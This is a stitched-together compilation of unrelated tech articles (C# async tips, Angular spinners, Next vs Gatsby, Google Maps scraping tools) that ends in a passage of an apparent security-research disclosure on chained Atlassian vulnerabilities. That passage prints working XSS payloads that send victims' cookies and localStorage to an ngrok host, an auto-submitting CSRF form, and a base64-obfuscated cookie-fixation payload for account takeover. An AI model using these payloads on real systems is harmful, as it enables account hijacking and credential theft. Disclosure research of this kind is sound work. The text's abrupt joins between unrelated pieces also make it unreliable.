zip(tf_unary_scores, y, sequence_lengths):# Remove padding from the scores and tag sequence.tf_unary_scores_ = tf_unary_scores_[:sequence_length_]y_ = y_[:sequence_length_] # Compute the highest scoring sequence.  
    viterbi\_sequence, \_ = tf.contrib.crf.viterbi\_decode(  
        tf\_unary\_scores\_, tf\_transition\_params)  

    # Evaluate word-level accuracy.  
    correct\_labels += np.sum(np.equal(viterbi\_sequence, y\_))  
    total\_labels += sequence\_length\_  
  accuracy = 100.0 \* correct\_labels / float(total\_labels)  
  print("Accuracy: %.2f%%" % accuracy) Conclusion Ever since TensorFlow has been released the community surrounding the project has been adding more packages, examples and cases for using this amazing library. Even at the time of writing this article there are more models and sample code being written. It is amazing to see how much TensorFlow as grown in these past few months. The ease of use and diversity in the package are increasing overtime and don’t seem to be slowing down anytime soon. As always — Feel free to email me any questions or inquiries at camron@camron.xyz Originally posted at Camron.xyz

TensorFlow in a Nutshell — Part Three: All the Models

Async/await in C# is a framework used for writing asynchronous C# code that is both readable and maintainable. These tips will help you to integrate async/await programming more effectively in the # projects: 1. ValueTask for Lightweight Operations Use ValueTask instead of Task for asynchronous methods that often complete synchronously, reducing the allocation overhead. public async ValueTask<int> GetResultAsync()
    {
        if (cachedResult != null)
            return cachedResult;
        int result = await ComputeResultAsync();
        cachedResult = result;
        return result;
    } 2. ConfigureAwait for Library Code Use ConfigureAwait(false) in the library code to avoid deadlocks by not capturing the synchronization context. public async Task SomeLibraryMethodAsync()
    {
        await SomeAsyncOperation().ConfigureAwait(false);
    } 3. Avoiding async void Prefer async Task over async void except for event handlers, as async void can lead to unhandled exceptions and is harder to test. public async Task EventHandlerAsync(object sender, EventArgs e)
    {
        await PerformOperationAsync();
    } 4. Using IAsyncDisposable For asynchronous cleanup, implement IAsyncDisposable and use await to ensure resources are released properly. public async ValueTask DisposeAsync()
    {
        await DisposeAsyncCore();
    }
    
    private async ValueTask DisposeAsyncCore()
    {
        if (resource != null)
        {
            await resource.DisposeAsync();
        }
    } 5. Efficiently Combine Tasks Use Task.WhenAll for running multiple tasks in parallel and waiting for all to complete, which is more efficient than awaiting each task sequentially public async Task ProcessTasksAsync()
    {
        Task task1 = DoTask1Async();
        Task task2 = DoTask2Async();
        await Task.WhenAll(task1, task2);
    } 6. Cancellation Support Support cancellation in asynchronous methods using CancellationToken. public async Task DoOperationAsync(CancellationToken cancellationToken)
    {
        await LongRunningOperationAsync(cancellationToken);
        cancellationToken.ThrowIfCancellationRequested();
    } 7. State Machine Optimization For performance-critical code, consider structuring your async methods to minimize the creation of state machines by separating synchronous and asynchronous paths. public async Task<int> FastPathAsync()
    {
        if (TryGetCachedResult(out int result))
        {
            return result;
        }
        return await ComputeResultAsync();
    } 8. Avoid Blocking Calls Avoid blocking on async code with .Result or .Wait(). Instead, use asynchronous waiting through the stack. public async Task WrapperMethodAsync()
    {
        int result = await GetResultAsync();
    } 9. Eliding Async/Await In simple passthrough scenarios or when returning a task directly, you can elide the async and await keywords for slightly improved performance. public Task<int> GetResultAsync() => ComputeResultAsync(); 10. Custom Task Schedulers For advanced scenarios, like limiting concurrency or capturing synchronization contexts, consider implementing a custom TaskScheduler. public sealed class LimitedConcurrencyLevelTaskScheduler : TaskScheduler
    {
        // Implement the scheduler logic here.
    } 11. Using Asynchronous Streams Leverage asynchronous streams with IAsyncEnumerable<T> for processing sequences of data asynchronously, introduced in C# 8.0. public async IAsyncEnumerable<int> GetNumbersAsync()
    {
        for (int i = 0; i < 10; i++)
        {
            await Task.Delay(100); // Simulate async work
            yield return i;
        }
    } 12. Avoid Async Lambdas in Hot Paths Async lambdas can introduce overhead. In performance-critical paths, consider refactoring them into separate async methods. // Before optimization
    Func<Task> asyncLambda = async () => await DoWorkAsync();
    
    // After optimization
    public async Task DoWorkMethodAsync()
    {
        await DoWorkAsync();
    } 13. Use SemaphoreSlim for Async Coordination SemaphoreSlim can be used for async coordination, such as limiting access to a resource in a thread-safe manner. private readonly SemaphoreSlim semaphore = new SemaphoreSlim(1, 1);
    
    public async Task UseResourceAsync()
    {
        await semaphore.WaitAsync();
        try
        {
            // Access the resource
        }
        finally
        {
            semaphore.Release();
        }
    } 14. Task.Yield for UI Responsiveness Use await Task.Yield() in UI applications to ensure the UI remains responsive by allowing other operations to process. public async Task LoadDataAsync()
    {
        await Task.Yield(); // Return control to the UI thread
        // Load data here
    } 15. Asynchronous Lazy Initialization Use Lazy<Task<T>> for asynchronous lazy initialization, ensuring the initialization logic runs only once and is thread-safe. private readonly Lazy<Task<MyObject>> lazyObject = new Lazy<Task<MyObject>>(async () =>
    {
        return await InitializeAsync();
    });
    
    public async Task<MyObject> GetObjectAsync() => await lazyObject.Value; 16. Combining async and LINQ Be cautious when combining async methods with LINQ queries; consider using asynchronous streams or explicitly unwrapping tasks when necessary. public async Task<IEnumerable<int>> ProcessDataAsync()
    {
        var data = await GetDataAsync(); // Assume this returns Task<List<int>>
        return data.Where(x => x > 10);
    } 17. Error Handling in Async Streams Handle errors gracefully in asynchronous streams by encapsulating the yielding loop in a try-catch block. public async IAsyncEnumerable<int> GetNumbersWithErrorsAsync()
    {
        try
        {
            for (int i = 0; i < 10; i++)
            {
                if (i == 5) throw new InvalidOperationException("Test error");
                yield return i;
            }
        }
        catch (Exception ex)
        {
            // Handle or log the error
        }
    } 18. Use Parallel.ForEachAsync for Asynchronous Parallel Loops Utilize Parallel.ForEachAsync in .NET 6 and later for running asynchronous operations in parallel, providing a more efficient way to handle CPU-bound and I/O-bound operations concurrently. await Parallel.ForEachAsync(data, async (item, cancellationToken) =>
    {
        await ProcessItemAsync(item, cancellationToken);
    }); 22. Avoid Excessive Async/Await in High-Performance Code In performance-critical sections, minimize the use of async/await. Instead, consider using Task.ContinueWith with caution or redesigning the workflow to reduce asynchronous calls. Task<int> task = ComputeAsync();
    task.ContinueWith(t => Process(t.Result)); 23. Async Main Method Utilize the async entry point for console applications introduced in C# 7.1 to simplify initialization code. public static async Task Main(string[] args)
    {
        await StartApplicationAsync();
    } 24. Optimize Async Loops For loops performing asynchronous operations, consider batching or parallelizing tasks to improve throughput. var tasks = new List<Task>();
    for (int i = 0; i < items.Length; i++)
    {
        tasks.Add(ProcessItemAsync(items[i]));
    }
    await Task.WhenAll(tasks); More Cheatsheets Cheat Sheets - .Net C# Programming🚀 Thank you for being a part of the C# community! Before you leave: Follow us: | | | Visit our other platforms: More content at Youtube X LinkedIn Dev.to GitHub C# Programming Also published . here

Async/Await For Basic to Advanced C# Developers: 24 Essential Tips

Resolving the 10 Common Javascript Errors

Introduction When developing Angular applications, providing a smooth and responsive user experience is paramount. One way to enhance the user experience is by displaying a loading spinner or indicator while fetching data from an API using observables. Observables are a powerful tool in for handling asynchronous operations, including HTTP requests. In this article, we'll explore how to show a loading spinner while waiting for observables to complete, ensuring a more intuitive user interface. Angular Understanding Observables Observables in Angular are a fundamental part of the RxJS (Reactive Extensions for JavaScript) library. They represent a stream of data or events that can be observed over time. Observables are widely used for handling asynchronous operations, such as HTTP requests, timers, and user input. When dealing with HTTP requests, observables emit values like the response data, errors, or completion notifications. Showing a Loading Spinner with Observables To show a loading spinner while waiting for an observable to complete, we'll follow these steps: 1. Set Up the Angular Service First, let's create an Angular service to handle HTTP requests. This service will return an observable that emits the data we fetch from the API. import { Injectable } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Observable } from 'rxjs';

@Injectable({
  providedIn: 'root'
})
export class DataService {
  private apiUrl = 'https://api.example.com/data';

  constructor(private http: HttpClient) {}

  getData(): Observable<any> {
    return this.http.get<any>(this.apiUrl);
  }
} 2. Implement the Loading Indicator in the Component Next, in the Angular component, where we want to fetch and display data, we'll utilize the Angular HTTP client and the service we just created. We'll also show a loading spinner while waiting for the observable to complete. import { Component, OnInit } from '@angular/core';
import { DataService } from './data.service';

@Component({
  selector: 'app-data-component',
  templateUrl: './data-component.component.html',
  styleUrls: ['./data-component.component.css']
})
export class DataComponent implements OnInit {
  data: any;
  isLoading: boolean = true;

  constructor(private dataService: DataService) {}

  ngOnInit() {
    this.loadData();
  }

  private loadData() {
    this.isLoading = true;  // Set loading to true before making the request
    this.dataService.getData().subscribe(
      (response) => {
        this.data = response;
        this.isLoading = false;  // Set loading to false when data is received
      },
      (error) => {
        console.error('Error fetching data:', error);
        this.isLoading = false;  // Set loading to false in case of an error
      }
    );
  }
} 3. Display the Loading Indicator in the Template In the component's template, we'll display the loading spinner based on the value of the property. isLoading <div *ngIf="isLoading">Loading...</div>

<div *ngIf="!isLoading">
  
  <ul>
    <li *ngFor="let item of data">{{ item.name }}</li>
  </ul>
</div> FAQs Q1. What is the purpose of using an observable in Angular? Observables in Angular are used to handle asynchronous operations in a more efficient and streamlined manner. They provide a powerful way to work with streams of data or events and are commonly used for handling HTTP requests, timers, and user interactions. Q2. Why is it important to show a loading spinner for observables in an Angular application? Showing a loading spinner while waiting for observables to complete improves the user experience by providing visual feedback that something is happening in the background. It gives users a clear indication that the application is working on fetching or processing data, preventing them from assuming the application has frozen or stalled. Q3. Can we customize the loading spinner's appearance? Yes, the appearance and behavior of the loading spinner can be fully customized to match the application's design. You can use CSS to style the spinner or even use third-party libraries to display a more visually appealing loading animation. Conclusion In Angular applications, utilizing observables for asynchronous operations is a common practice. Implementing a loading spinner while waiting for observables to complete enhances the user experience and ensures that users are informed about ongoing background tasks. By following the outlined steps and incorporating this feature into your Angular application, you can significantly improve its responsiveness and user satisfaction. By employing observables and showcasing loading spinners, Angular developers can achieve a higher level of user engagement and build more interactive and efficient web applications. Remember, always strive to create a seamless and delightful user interface by providing meaningful feedback to users during loading and data retrieval processes. Happy coding!

Angular Awesomeness: Supercharge Your App with Loading Spinners for Observables

Build a Decentralized Freelancer Marketplace With React, Solidity, and CometChat

How to Build a Web3 NFT Cross-Breeding Dapp with React, Solidity, and CometChat

and are modern front-end frameworks based on React. Next.js Gatsby Typically each is regarded as relevant for different use cases. There is a tendency to view Next.js as the go-to choice for large web applications with lots of dynamic content, while Gatsby is - to some extent correctly in my opinion - viewed as most beneficial for applications with small to medium content requirements. In fact, both frameworks can be used to fit a massive range of use cases covering applications big and small. In this article, we'll be taking a look at how they handle the serving of HTML data i.e. rendering. Rendering Modes The advent of frontend libraries like React accompanied a surge in popularity of the (SPA), which is an application that loads a single document and gradually modifies the body of that document in response to user interactions and navigation actions. Single-page application In the past, it was often the case that entire HTML documents had to be loaded from a remote web server whenever a user navigated to a new page. Thankfully this can be avoided nowadays using a SPA. Next and Gatsby largely fit into the SPA paradigm, although they do enhance the functionality that can be achieved by using something basic like the CLI utility. Let's take a look at the three main types of rendering supported by the two of them. create-react-app Server-Side Rendering (SSR) Server-side rendering is a somewhat advanced technique whereby a fully formed HTML document is sent to the client's browser, often providing a better experience by minimizing the perceived loading time. On the other hand, it can increase , which is the time before the page can be interacted with. First Input Delay Other advantages of this rendering technique include better SEO performance, loader perceived load time (no blank screen as is common with CSR), and more efficient data fetching. If your service relies heavily on social media sharing to drive traffic, SSR is hugely beneficial because of its ability to populate and Twitter Cards with rich, dynamic data. Open Graph SSR in Next.js In Next, SSR can be implemented using the method, as seen in the snippet below. This method has access to the initial network request, which can make it useful for loading different data depending on, among other things, the request locale, language or device type. getServerSideProps // _app.tsx

MyProject.getServerSideProps = async (context: AppContext) => {
  const session = await getSession(context.ctx);
  return {
    props: {
      session,
    },
  };
}; Any file listed in the directory of a Next project can have a method. What this method does on a more technical level is define a snippet of JavaScript or TypeScript code that will be run in a serverless function in a Node.js environment - see the for how to do this easily. pages getServerSideProps Next on Netlify plugin Whatever props are returned by will be injected into the page component on the server, which will in turn render a full HTML document to be sent over the wire to the browser. getServerSideProps SSR in Gatsby In spite of its reputation as a static site generator, Gatsby is also capable of performing server-side rendering. In Gatsby, the method can be used to indicate that we want a particular page to use server-side rendering. This might look something like the snippet below: getServerData // my-page.tsx

export async function getServerData(
  props: GetServerDataProps
): GetServerDataReturn<ServerDataProps> {
  return {
    status: 200,
    headers: {},
    props: {
      message: "Hello World",
    },
  }
} Like in Next with , the function must be executed in a Node.js environment in order to work. Thankfully there is a a designed to do this without us needing to provision our own infrastructure. getServerSideProps getServerData Netlify plugin Gatsby Cloud also offers automatic setup of SSR as part of its plans, so that is a good option too. Note on SSR Though SSR can be a very powerful tool, it might make it harder to develop and maintain your application code in future since not all developers will be used to it. There may also be additional hosting costs if the server-side code requires additional infrastructure to run on, even though on a service like Netlify the cost will grow linearly with network requests. Static Site Generation (SSG) (or Server-Side Generated) Static Site Generation is a technique whereby all or part of a website is generated in advance, typically in a Node.js runtime. What is great about this is how fast it makes the resultant website. Because all the HTML, CSS and JS has been precompiled into individual bundles for each page, a change in route in the client's browser only requires the browser to load in the bundle for that route, leading to blazingly fast page loading. As a result, SSG is a great choice if you have small to medium content requirements and know that your content is unlikely to change often. Assuming you have certain content that changes according to the user's authenticated state (logged in vs logged out), it may be advisable to use SSG with caution, as rehydration problems can occur if the authenticated state is only known after client-side running of JavaScript, a problem described and one which can also affect SSR. here SSG in Next.js Next.js implements SSG through a function called , which might typically look something like the snippet below: getStaticProps // my-static-page.tsx

export const getStaticProps: GetStaticProps = async (context) => {
  const pageData = await loadDataFromServer(context);

  return {
    props: {
      pageData,
    },
  }
} Another useful function in the same mold as this is , which can be used to predefine all the possible routes for a specific type of path. To clarify, say we had a few hundred different articles on a news website, we could define a page called , and would prerender a list of articles defined within its method body. getStaticPaths articles/[id].tsx getStaticPaths If SSG is only required on a subset of, say, the most popular pages, the option can be added to , which will make builds faster, albeit at the expense of an initially slower load time. fallback: true getStaticPaths SSG in Gatsby As Gatsby is pretty much synonymous with SSG, it's no surprise that it's been built to work incredibly well with this type of rendering. On any given Gatsby page, you can define a that can load data and populate the page. Generally speaking, Gatsby is geared towards using a headless CMS like Contentful. Data transfer is oriented around , which is particularly efficient as it allows developers to load only the data that is genuinely required. pageQuery GraphQL export const pageQuery = graphql`
  query GetBlogPostBySlug($slug: String!) {
    site {
      siteMetadata {
        title
        siteUrl
      }
    }
    contentfulBlogPost(slug: { eq: $slug }) {
      title
      slug
      publishedAt
      tags
     }
   }
` In the example above, we are loading a blog article from the Contentful CMS by using its slug, which is passed to the GraphQL query at build time. For configuring what happens at build time, which is when the static generation takes place, we can use the file: gatsby-node.js const path = require("path");

exports.createPages = ({ graphql, actions }) => {
  const { createPage } = actions;

  return new Promise((resolve, reject) => {
    const postTemplate = path.resolve("src/templates/blogpost-template.js");

    resolve(
      graphql(
        `
          {
            allContentfulBlogPost {
              edges {
                node {
                  title
                  slug
                }
              }
            }
          }
        `
      ).then(({ errors }) => {
        if (errors) {
          console.log(errors);
          reject(errors);
        }

        const posts = result.data.allContentfulBlogPost.edges;
        posts.forEach((post) => {
          createPage({
            path: `/blog/${post.node.slug}/`,
            component: postTemplate,
            context: {
              slug: post.node.slug,
            },
          })
        })
      })
    )
  })
} In the example above, we are loading blog posts using the Contentful GraphQL API and using the API to inject the slug of each blog post into an HTML-CSS-JS template which will use the slug to load the post details using the we saw earlier. createPage pageQuery Although Gatsby makes SSG very enjoyable to work with, the learning curve is somewhat steep as it requires developers to be reasonably competent at GraphQL. Nonetheless, even this latter hurdle can be overcome using the endpoint available in development mode; this includes a feature attached to , which makes query formulation much easier for those without GraphQL knowledge. /_graphql Code Exporter GraphiQL Note on SSG As much as SSG might seem like the answer to a lot of common web development problems, notably slow page load, powering a large-scale application with SSG alone may lead to inordinately long build times, potentially incurring a large cost. Techniques like Gatsby's can mitigate this by configuring certain pages to only be statically generated - and subsequently cached - at the time of the first user request. Deferred Static Generation Client-Side Rendering (CSR) Client-side rendering will be familiar to most React developers because it's the default for any project created with the widely used . create-react-app What CSR means is that the browser is responsible for creating the entire HTML document that users see. Although this can result in seemingly faster page transitions compared to SSR, it's not uncommon to see a flash of a blank page or interminable loading spinner animations while the browser puts together the required HTML. CSR in Next.js In Next.js, CSR is the default configuration. Just like in a typical SPA created through , you can use lifecycle hooks like to load data from a remote server. create-react-app useEffect Next's creator Vercel makes things even easier for us in this regard by providing the that deals with caching, periodic refetches, revalidations and more. useSWR hook CSR in Gatsby CSR in Gatsby can be implemented using . Since Gatsby ships with , developers can define routes in a way that will feel very familiar to anyone who has worked on a project created using . client-only routes @reach/router create-react-app Although CSR definitely has its place in Gatsby, it can seem like we're underutilizing Gatsby's rich functionality if we rely too heavily on this rendering mode. Note on CSR As the simplest one of the three rendering modes to learn, CSR is a good choice if speed is your primary business goal. That said, its convenience does come with obvious disadvantages. SEO will be severely impacted because search engine crawlers are not always capable of acquiring knowledge client-side rendered pages. Similarly, social media and external link sharing will be ineffectie since OpenGraph and Twitter cards can't pull metadata from applications using CSR. Summary This article compared the different ways Gatsby and Next.js approach data loading and rendering. We saw that both can used for server-side rendering, client-side rendering and static site generation, also known as server-side generation. Undoubtedly there is a place for each of these three rendering modes in web development, and we're lucky that in the modern era there are frameworks like these that make things easier than ever for us. Thanks for reading! Also Published Here

Next vs Gatsby: Comparing Their Approach to Handling Data

For extracting information from websites, Web Scraping tools are designed precisely. They are also known as web harvesting tools or web data extraction tools. These extensions for scraping Google maps are useful enough for people who want to collect some of the data from the Internet. Web Scraping is the new data entry technique that does not require repetitive typing or copy-pasting. These extensions for scraping Google maps can be used for a number of purposes in various situations that can be either data collection or market research. GMap Leads Generator is one of the most prominent yet popular browser extensions for scraping data. In addition, it is a lead generation platform. The technology like the web scraping technique that has come with the beginning of the internet and digital marketing made it easier for everyone to find and gather data of the customer to be contacted. As far as B2B leads are concerned, Google maps are one of the prominent business directories that have linked 1 billion users globally. GMap Leads Generator Nearly more than half of the B2B users use Google Maps when working in a market campaign or business for B2B leads. It helps you find the aimed prospects by locations, zip codes, and keywords easily. As far as other lead generators are concerned, Google Map Leads Generator is much more suitable for lead generation purposes. It is a 4 step lead extraction process i.e. search, select, extract and export which makes the lead generation timeless as compared to other software available on the  internet for the same purpose. The process is really easy, you just need to: By clicking the “Add to Chrome” button, install the extension. On Google Maps search for a business. Then click on the "Generate Leads" option which will be shown beside the search results. It is done! Now by waiting some time, the tool will scrape data from google maps and show you the result on the LeadStal result page. You can easily filter the whole business from the result page and extract the desired Google Maps data as a CSV file. Scraping Bot It is an amazing web-scraping tool for web developers who scrapes the data through a URL. It simply works better on the product pages where it collects data i.e. image, product title, product price, product description, stock, delivery costs, etc. It is a great tool for those who need to collect commercial data or simply aggregate product data and keep it accurate. ScrapingBot also offers various specialized APIs such as real estate, Google search results, or data collection on social networks like LinkedIn, TikTok, Instagram, Facebook, Twitter. Scraper API This one is another scraping tool that is designed to simplify web scraping. This proxy API tool has the capability of managing proxies, web-browsers as well as CAPTCHAs. It merely supports popular programming languages that include Bash, Node, Python, Ruby, Java, and PHP. Moreover, it has many features some of the main ones are: IP rotation. Over 40 million IPs. Capable of JavaScript Rendering. Unlimited bandwidth with speeds up to 100Mb/s. More than 12 geo-locations are Easy to integrate. Octoparse It is a free web-scraping tool for non-programmers, where you can build crawlers to scrape data. Within a number of clicks, the webpage elements can be converted into structured data. Also, it can customize the crawlers in Octoparse to deal with advanced websites and scrape any data that is required. Moreover, Octoparse has a few web scraping templates dedicated to dealing with Google Maps, making it easier and more accessible for anyone. Simply enter keywords or URLs in the templates and Octoparse will start to scrape data automatically. Web Scraper Web Scraper is the most popular web scraping browser extension. By simply downloading the Google Chrome browser and installing the extension Web Scraper, It is used where you do not have to write codes or download software to scrape data, a Chrome extension will be enough for most scenarios. Zyte Zyte a scraping hub, is a cloud-based data extraction tool that supports thousands of developers to draw valuable data from the internet. Zyte uses Crawlera, a smart proxy rotator that supports bypassing bot counter-measures to crawl huge or bot-protected sites easily. It converts the entire web page into organized content. Its team of experts is available for help in case its crawl builder can’t meet your requirements. Import.io gives a chance to build your own datasets by simply importing the data from a specific web page and exporting the data to a CSV file. You can easily scrape thousands of browsers in a short time i.e. minutes without writing a single line of code and build 1000+ APIs based on our needs. Import.io It uses cutting-edge technology to scrap millions of data every single day. Along with the web tool, it also offers free apps for Windows, Mac OS X, and Linux to build data extractors and crawlers, download data, and sync with the online account. Dexi.io also known as CloudScrape supports the collection of data from any website and requires no downloading just like Web host. It also gives you a browser-based editor for the crawler’s setup and extracting data in real-time. Dexi.io Also by using this browser scraping tool, you can save the collected data on cloud platforms like Google Drive. It also supports anonymous data access by offering a set of proxy servers to hide your identity. Ending Thoughts All these browser extensions for scraping Google maps can be used to carry out the data i.e. emails and phone numbers from several websites that make it easy to have a list of suppliers, manufacturers, retailers, and other important people of your interests to the businesses or companies along with their contact addresses. The extensions for scraping Google maps discussed above can be utilized to scrape data out of several websites along with different resources. Some of them do not even require coding.

8 Browser Extensions for Scraping Google Maps like a Pro

Research By: Dikla Barda, Yaara Shriki, Roman Zaikin and Oded Vanunu Background With more than 180,000 customers globally, and millions of users, the Australian 2002 founded company “Atlassian” develops products for software developers, project managers and other software related teams that use the platform for data collaboration and information sharing. While workforces globally turned to remote work as a result of the outbreak of COVID-19, tools such as the ones offered by Atlassian became more popular and critical for teams while the need for a seamless transition to a new work mode became a global necessity. Atlassian, referring to this as “The Rise of Work Anywhere”, conducted about the nature of remote work during the Pandemic. The study surveyed more than 5,000 participants in Australia, France, Germany, Japan, and the US, and shows how the nuances of modern work have been amplified, demanding a shift in the way organizations manage an increasingly distributed workforce. research Breaking on through the Platform On November 16, 2020 Check Point Research (CPR) uncovered chained vulnerabilities that together can be used to take over an account and control some of Atlassian apps connected through SSO, Some of the affected domains are: jira.atlassian.com confluence.atlassian.com getsupport.atlassian.com partners.atlassian.com developer.atlassian.com support.atlassian.com training.atlassian.com What makes a supply chain attack such as this one so significant is the fact that once the attacker leverages these vulnerabilities and takes over an account, he can plant backdoors that he can use in the future for his attack. This can create a severe damage which will be identified and controlled only much after the damage is done. Check Point Research responsibly disclosed this information to the Atlassian teams which and a solution was deployed to ensure its users can safely continue to share info on the various platforms Deep Dive Atlassian uses SSO (Single Sign-On) to navigate between Atlassian products such as JIRA, Confluence and Partners. Atlassian implements various web security measures such as CSP, SameSite “Strict” cookies and HttpOnly cookies. We had to bypass these security methods using a combination of several attack techniques. Overall we were able to achieve Full Account Take-Over. First, we had to find a way to inject code into Atlassian – which we used the XSS and CSRF for. Then, using this code injection, we were able to add a new session cookie to the user’s account, and by combining the session fixation vulnerability in Atlassian domains, we were able to take over accounts. Let us dive in into the first bug we found: XSS The first security issue was found on the subdomain . The Training platform offers users courses or credits. We noticed that the Content Security Policy (CSP) was configured poorly on this subdomain with ‘unsafe-inline’ and ‘unsafe-eval’ directives which allows script execution. This makes this subdomain a perfect starting point for our research training.atlassian.com We examined the request parameters when adding courses and credits to the shopping cart. We found that when the item type is “ ”, an additional parameter called “ ” is added to request. This parameter was found vulnerable to XSS. training_credit options._training_credit_account Let’s test a simple payload to receive all of the user’s cookies and local storage: "><svg/onload="window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`"> It works! And we received all the cookies and the local storage of the target: CSRF Since the Stored XSS can only be run when adding items to the shopping cart, we needed to make the user add a malicious item without their notice. Then, because there is no CSRF token we could perform CSRF attack on the shopping list and execute our payload. In order to achieve that, we uploaded the following POC to our servers and sent it to the victim: <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''> 
        <svg/onload=”window.location.href=`//7a4389292a5d.ngrok.io?l=${JSON.stringify(localStorage)}&c=${document.cookie}`”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html> However, some of the cookies related to the session of the victim are set to SameSite “Strict” which means the browser prevents them from being sent to the backend. Surprisingly, we found that during the SSO process those missing cookies are completed by the backend which will essentially bypass the SameSite “Strict” for us. SameSite “Strict” Bypass We will now describe the SSO flow. We start with the XSS payload from our origin : https://7a4389292a5d.ngrok.io During the SSO flow, the user gets redirected several times to different paths, such as: /auth/cart ,login.html, etc. Throughout the redirect process, the user goes through the authentication process, which adds the missing cookies that we needed and were protected by SameSite. Because our payload was Stored XSS it was stored in the database and was added to the Shopping List. Here we can see that the payload was injected successfully into the page: And the malicious item was added to the shopping cart: At this step we bypassed SameSite “Strict” for CSRF and CSP with inline JavaScript. However, the more interesting cookie is which is protected by “ ” and we can’t hijack it via JavaScript. JSESSIONID HttpOnly At this point we can perform actions on behalf of the user but not login to his account. We dived in further into the SSO flow in order to find another flaw in the process. HTTPOnly Bypass and Cookie Fixation What is cookie fixation? Cookie Fixation is when an attacker can remotely force the user to use a session cookie known to him, which becomes authenticated. Initially, when the user browses to the login page, the server generates a new session cookie with ‘path=/’ flag. That cookie isn’t associated with any account and only after the user passes the authentication process that same cookie will be associated to his account. We knew that using the XSS we couldn’t get the user’s session cookie, since it was protected by HTTPOnly flag. Instead, we could create a new forged one. The newly created JSESSION cookie has the same flags as the original, with one major change – the path flag. The original path flag is set to the root directory. We were wondering what would happen if we change it to a more a particular path. It turns out that our path will have priority since it is more specific and will be used instead of the original. We changed the path to the exact directive we know the user will get redirected to after authentication which causes the backend to authorize our cookie over the original one. By using cookie fixation, we bypassed the HTTPOnly and hijacked the user’s Atlassian account. We will demonstrate that on the following subdomains: Training.atlassian.com We started by navigating to the URL from a clean browser without any cache to get a new clean cookie. training.atlassian.com JSESSIONID Now, we have a JSESSIONID without any information in it at the backend. If we will send a request to the user profile page we will be redirected to the login page. We will now perform a Cookie Fixation on the target which will force him to use the forged Cookie by using the following steps: We start by modifying our payload and adding the following cookie: document.cookie = "JSESSIONID= 5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=
/auth0; Secure” Note that the original HttpOnly cookie was set for the path “/”, but the new cookie we are setting in the payload is for the path “/auth0”. Browsing to /auth0, there are 2 cookies: the real one and ours. Ours will “win” in this case because it’s more specific. We will use the following redirect to trigger the Auth with this cookie instead of the real one. The interesting parameter here is the which will force the authentication for : “redirect_uri=https://training.atlassian.com/auth0” training.atlassian.com location.href="https://atlassianuni-learndot.auth0.com/authorize? redirect_uri=https://training.atlassian.com/auth 0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk" This auth request will associate our cookie to the target account. So now that we can control the , we combined all of this steps and crafted the following payload: JSESSIONID <html>

  <head></head>

  <body onload=”document.forms[0].submit()”>

    <form method=”post” action=”https://training.atlassian.com/cart”>

        <input type=”hidden” name=”itemType” value=’training_credit’>

        <input type=”hidden” name=”itemId” value=’1′>

        <input type=”hidden” name=”options._quantity” value=’10’>

        <input type=”hidden” name=”options._training_credit_account” value=''>
        <svg/onload=”eval(atob`ZG9jdW1lbnQuY29va2llPSJKU0VTU0lPTklEPTVCMDlDNzNCRjEzRkU5MjNBMkU1QjRFRTBEQUQzMEUzOyBEb21haW49dHJhaW5pbmcuYXRsYXNzaWFuLmNvbTsgUGF0aD0vYXV0aDA7IFNlY3VyZSI7IHNldFRpbWVvdXQoZnVuY3Rpb24oKXsgbG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9hdGxhc3NpYW51bmktbGVhcm5kb3QuYXV0aDAuY29tL2F1dGhvcml6ZT9yZWRpcmVjdF91cmk9aHR0cHM6Ly90cmFpbmluZy5hdGxhc3NpYW4uY29tL2F1dGgwJmNsaWVudF9pZD1PN0ZkSFk2NDdWdmJDVHBoQkdtdmZCdDJHZGduSDdNUiZhdWRpZW5jZT1odHRwcyUzQSUyRiUyRmF0bGFzc2lhbnVuaS1sZWFybmRvdC5hdXRoMC5jb20lMkZ1c2VyaW5mbyZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwZW1haWwmcmVzcG9uc2VfdHlwZT1jb2RlJnN0YXRlPUh4RWxwUHlTc3JSdUtjWWJGT2xwOVFrTFpRN2t3RE9lbVg3RGMtNWRubGsiIH0sMzAwMCk7`)”>’>

        <input type=”hidden” name=”action” value=’add’>

    </form>

  </body>

</html>
<!–

// Payload  Explain
btoa(‘    document.cookie=”JSESSIONID=5B09C73BF13FE923A2E5B4EE0DAD30E3; 
Domain=training.atlassian.com; Path=/auth0; Secure”; setTimeout(function()
{ location.href=”https://atlassianuni-learndot.auth0.com/authorize?redirect_uri=
https://training.atlassian.com/auth0&client_id=O7FdHY647VvbCTphBGmvfBt2GdgnH7MR&
audience=https%3A%2F%2Fatlassianuni-learndot.auth0.com%2Fuserinfo&scope=openid%20profile
%20email&response_type=code&state=HxElpPySsrRuKcYbFOlp9QkLZQ7kwDOemX7Dc-5dnlk” },3000);     ‘)

